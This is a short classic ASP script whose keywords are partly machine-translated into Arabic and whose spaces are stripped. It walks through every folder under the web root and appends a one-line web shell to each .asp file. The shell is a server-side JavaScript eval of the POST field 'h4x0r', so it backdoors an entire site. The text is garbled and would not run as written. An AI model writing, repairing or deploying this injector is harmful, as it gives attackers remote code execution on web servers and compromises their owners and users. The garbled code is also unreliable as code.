<٪
Dimph
dimintfile
server.scriptTimeout = 600
ph = server.mappath ("/")
subinsertallfiles (المسار)
setfso = createObject ("scripting.filesystemObject")
onerrorresumenext
setf = fso.getfolder (المسار)
setfc2 = f.files
foreachmyfileinfc2
iflcase (fso.getextensionName (path & "" & myfile.name)) = "asp" ثم
setfs1 = createObject ("scripting.filesystemObject")
SettFile = FS1.OPENTEXTFILE (المسار و "" و myfile.name ، 8 ، خطأ)
tfile.writeline "<ccriptrunat = serverLanguage = javaScript> eval (request.form ('h4x0r')+'') </script>"
آخر
insertallfiles (NewPath)
Endif
tfile.close
التالي
setfsubfolers = f.subfolders
foreachf1infsubfolers
NewPath = path & "" & f1.name
insertallfiles (NewPath)
التالي
settfile = لا شيء
setfso = لا شيء
ينتهي
٪>
<٪
callinsertallfiles (ph)
٪>